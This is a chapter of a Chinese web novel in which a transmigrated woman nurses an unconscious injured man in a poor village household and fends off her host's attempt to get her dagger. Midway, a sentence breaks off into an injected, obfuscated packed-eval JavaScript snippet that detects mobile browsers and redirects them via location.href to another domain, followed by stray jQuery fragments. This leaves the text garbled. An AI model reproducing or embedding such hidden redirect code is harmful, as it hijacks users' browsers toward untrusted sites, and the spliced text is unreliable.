玉娘到最后都没想明白自己在哪里见过火镰上的花纹。
直到昨天,山里折腾了三日的官兵无功而返,草草散去。大成才捞着机会去了趟城里,把那火镰火石典当出来,换了三两银子。刚好抵了这三日的药钱。
宁露起初还觉得少,满脸遗憾沮丧,反被玉娘骂了个狗血淋头,说她贵府出来的小姑娘当真不知道柴米油盐贵。
听着玉娘把那三两银子换算成了百来斤的大米,宁露才大跌眼镜,犹如五雷轰顶。
一个打火机,三天的汤药,换那么多人的口粮。
宁露头一次对那郎中说纪明是在拿银钱换命有了实感。
果然,无论是在什么时代,有钱能使鬼推磨都是世间真理。而她,也永远对有钱人的世界缺乏想象。
“药给你熬上了,你看着点别又糊了。”
她刚从篱笆下面钻进院子就听见玉娘隔着窗户吆喝,忙连声应了。
相处几天,玉娘一家的情况她多少也看出些什么。夫妻两个人带着一个生病的孩子生活,举步维艰。当日帮她垫付的药费更是玉娘为数不多的积蓄。
宁露自知不能总是拖累,等到那搜查的官兵一撤,就去外面找生计。
她嘴甜腿脚也快,趁午饭后的这段时间,她帮这家送个东西,替那家搬个物件,一来一回就能凑出两口吃的。
破砂锅里深褐色的药汤咕嘟咕嘟冒泡,整个院子都散着一股清苦药味。
宁露吸吸鼻子,把手里拎着的干粮挂到窗边,挽起袖子往墙角阴凉处去。
角落里,几个破陶盆搭成的简易火炉,底下塞了稻草、枯叶,甚至还有牛粪用作燃料。
手指在鼻尖扇了两下,屏住呼吸把手里的破布叠起几层,打圈调整着容器的位置。
药熬得差不多了,估计是玉娘一早就帮着照看。宁露连忙起身冲她挥了挥手,以示谢意。
对面仍是嫌弃,熟悉了她的性格之后,宁露也不放在心上,只管乐呵赔笑。
毕竟,这破砂锅也是玉娘费了半天劲翻出来的。
破——指的就是物理意义上的破,底部边角熬穿了两个拇指大的洞,要想将就着用,只能斜放。
转动砂锅的时候,药汁飞溅洒在手背,痛得她原地起跳,第一反应却是把手凑到嘴边舔了一口。
这碗药这么宝贵,一口都不能浪费。
反应过来自己做了什么,宁露禁不住又垮起小脸,沮丧叹气。
“这难道就是对我一日三餐吃外卖却还不知足的报应吗?”
“那我知错的话,能让我回家吗?”
扑——
炉火晃了晃,灭了下去。药汤就着高温的余韵仍在咕嘟作响。
顾不上再追忆过往,她端起砂锅滤出汤药,又用木棍将锅里的药渣捞出铺开。
不管里面躺着的那位大哥以前是什么身份,在她想到办法赚钱买药的之前,都只能委屈他先喝着回炉的草药了。
一连串的事情做完,宁露额头上已经冒出冷汗,取下方才挂起的干粮,捧着滚烫的药碗推门进屋。
床上那人果然还是没醒,无知无觉地睡着。唯一的好消息就是针灸过后,发了汗,退了烧。
郎中说,剩下的就是要将虚空的身子慢慢补起来。
宁露有自知之明,明白自己不可能完成这种这种艰巨任务。
她没想过要做救赎文女主,只希望纪明能快点醒过来,给她指条明路,快速推进剧情。
她想回家。
药碗就手放在床边,宁露先是把那人从侧卧转成仰卧,又将所有的枕头被褥叠好摞高,扶着他缓慢起身靠坐其中。
最初老郎中说他气血两亏,心肺不足,她还不晓得其中厉害。这两天只剩她自己从旁照顾,她才发现这个人起坐翻身都会喘,动辄憋得小脸发紫。
“嗬…咳…”
宁露在床边盘腿坐下,绕开他胸口的纱布,有一搭没一搭地给他顺着气。
药碗上空氤氲散着热气,明显不是能够入口的温度。
等药凉的时间,刚好够她吃饭。
“今天吃的是野菜做得窝窝头。”宁露举着吃得在他鼻子下头晃了一圈:“李婶儿人好,说我瘦,多给了我一个。我还想着,你要醒了,我就勉为其难分你一半。”
“跟你说,我发现了一件很神奇的事情。”宁露顿了顿,觉得他多半是听不见,果断决定一吐为快:“我腿脚真得很快。你还记不记得,咱们那天逃跑的时候,我的腿在前面飞,狼在后面追。”
“当时,我还以为那是肾上腺素作祟。”
“但是今天,李婶儿家养的鸡被狗追。你都不知道,那个鸡飞狗跳的阵仗,气得李婶儿跳脚。我三两步就赶上了,反手一捞,左手抓鸡右手拎狗。搞定了。”
“真是太牛了。”宁露艰难吞下一口窝头,接着说:“而且,我发现翻墙也很容易。要不就是你们这儿的墙太矮了,轻轻一跳就能越过去。要么就是,我弹跳力惊人。”
“原主真的好厉害。留下的技能这么有用,要是她在我们那儿,说不定还能和博尔特、苏炳添比一比。”
说起原主,吞咽的速度放慢,声音里添了些伤感:“不知道她在我那儿过得好不好。我没什么本事,留给她的除了高度近视就是颈椎病。希望厨房里的螺蛳粉她吃得惯。”
抬手撑其侧脸,百无聊赖看向他身上细细密密的伤痕。
老郎中说,这都是陈年旧伤。
“看你,新伤叠旧伤。恐怕也是个刀尖舔血的苦命人。”
视线上移,落到纪明脸上。
眉骨高挺,鼻翼窄薄,下颌锋利,加之以苍白皮肤和微微散着紫气的唇瓣,整个人都像蒙了一层磨砂滤镜。
是美的。
只可惜这种面相多半冷漠寡情,精于算计。
不能轻易沾染。
“都这样了,在山里还能当荒野镖客,也算是个狠人。”
“不过还是恭喜你,又活过一天。”
“先喂你喝药吧。”
“我爸我妈都没这个待遇。天地间独一份。要是这样,你醒过来还怀疑我要害你,我是真没招了。那就真的要六月飞雪了。”
“还有,你别嫌我啰嗦啊,小明哥。现在就咱们两个,而我之前兼职说脱口秀,是靠嘴吃饭的,嘴碎爱说是吃饭的本事。您多担待。”
喂药的动作稍顿,宁露为自己脱口而出的梗拍案叫绝:“谁不是靠嘴吃饭呢。哈哈……这个段子好。记下来,回去用。”
搅动药碗,舀出半勺送到嘴边。汤汁一半渗进唇齿,一半沿着嘴角落下。
褐色水痕在颈间划出极浅的印子,宁露连忙掏出帕子给他擦了。
“这碗药对现在的咱们来说还是很贵的。而且咱现在穷的,我就差把你身上的里衣也扒下来卖了。”
昏迷之中,那人的眉心微微拢起,呼吸也沉了几分。
“咳咳…”
鬓边发丝散落,颈子柔若无骨往一侧垂去。
宁露连忙伸手托住,给他上下顺着气,拍打后背。
念起此刻他吃的药也是用他自己的东西换来的,她吞下哭穷的话,转而安慰他。
“不过你放心,你运气好,碰见的人是我。有我一口饭吃,就有你一口药喝。我尽量想办法救你就是了。”
“只能是尽量啊。我也自身难保呢。”
见他嘴唇的紫气不散反重,鬓角也蒙了冷汗,宁露有些紧张,视线转向床边的药碗。
这服药已经熬了两次,颜色都寡淡了,想必药效也不会太好。
她不是没想过把人丢在这儿自己跑路。可没办法啊,素质教育培养出来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489216|185774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人就是素质高,她做不出这种事。
“这样行吗,你再将就将就,多喝一口。我一会儿就去找郎中再抓服新药来。”
抿紧的嘴唇张开一条细缝,宁露喜出望外。
不管他听进去多少,总归也是顺利吞咽了几下。
一碗药剩下半碗,倒了又嫌浪费,宁露说话说得口干舌燥,干脆当水喝了。
转头见门外人影摇摆,她给纪明塞进被子,才起身轻轻拉开一道门缝。
“大成哥?”
宁露有些意外,下意识往前院儿看。
“哦,邻居家嫂子生了,玉娘帮忙去了。”朱大成往里挤了半步,探头看向床边:“公子可好些了?”
"还是那个样子。"宁露被他强硬的力道顶着连连后退,只得拉开门引人进来。
“你也是不容易,让人看在心里也不落忍。”朱大成叹了口气,在长凳上坐下,接着说:“玉娘晌午还跟我说你出去帮人做事了。”
“借住在这里已经给你们添麻烦了。我也在找别的办法贴补。”
“有妹子这个良人照顾,公子也是有福气。”朱大成身形佝偻,双手来回摩挲,为难开口:“既然你开口提起,我就不绕弯子了。家里的情况你都能看见,实在是揭不开锅。虽然说公子用的药,也是拿东西典当的…”
对上宁露已然了悟的眼神,朱大成干笑着往下说:“且不说进城一来一回需要功夫,二伯一日日来施针出诊,也不能分毫不给是不是?”
“外头已经有些风言风语了。我们夫妻俩倒是没事,就是怕坏了妹子你和这位公子的名声。”
“大成哥你说的我都明白。”宁露回头看了看纪明。
说话的功夫,那人昏沉间呼吸顿促,冷汗淋漓,似是又沉入了万般不适。
今日种种反应,她有点担心这人并非全然无知无觉。
宁露也不是个多么仁义的人,只单纯觉得在病榻之前算计这些太过残忍。
她侧身横在床前,声音压低,打算速战速决:“我再想想法子,明儿跟你和姐姐一个交代。”
“妹子,你没明白的我的意思。”见他不接招,大成更加直白地盯向她腰间的匕首:“你看,要是有些多余的钱帛能够打点,不管是官府的人还是街坊邻里,咱们都能说得上话,您二位也能住得安生些,是不是?”
话已点破,宁露不好再装傻。可这匕首,是纪明给她的,又是对他颇有意义的物件。她没有处置的权利。
“朱大成!”
没等她开口,院子里传来呵斥声,朱大成闻声,身形一震,反手擦汗。
抬眼就见玉娘双手叉腰立在院子里,怒目圆睁,伸手直指:“你在胡说八道什么!给我滚出来!”
“你咋个回来了?”
“人是你领回来的!这会儿又说这种腌臜话!你也好意思!”
玉娘三步并作两步拧住朱大成的耳朵,拎着就向外走。
临到门口,偏头瞥了眼宁露,粗声道:“只要不惹上官司,你只管住着。”
话音未落,飞起一脚边将朱大成踹到院子里,房门关上却能零星听见哀嚎。
宁露跌坐长椅松了口气,伸手摸向腰间匕首。
今天出门的时候,她顺手把这东西塞进腰带,图个安心。没想到在路上打了个照面的功夫,就被朱大成看进眼里。
“还是放起来好。”
向外拽了两下没能成功,好像匕首尖端卡在了哪里。宁露累极,懒得低头检查,用了蛮力一扯。
刺啦——
认命低头看,衣裳赫然豁开了一道口子。
气极反笑:“人倒霉喝凉水都塞牙。
“我可不会缝东西。”
伸手试着抻平布料,越摸越觉得不对。
硬的?她这件里衣好像还有夹层?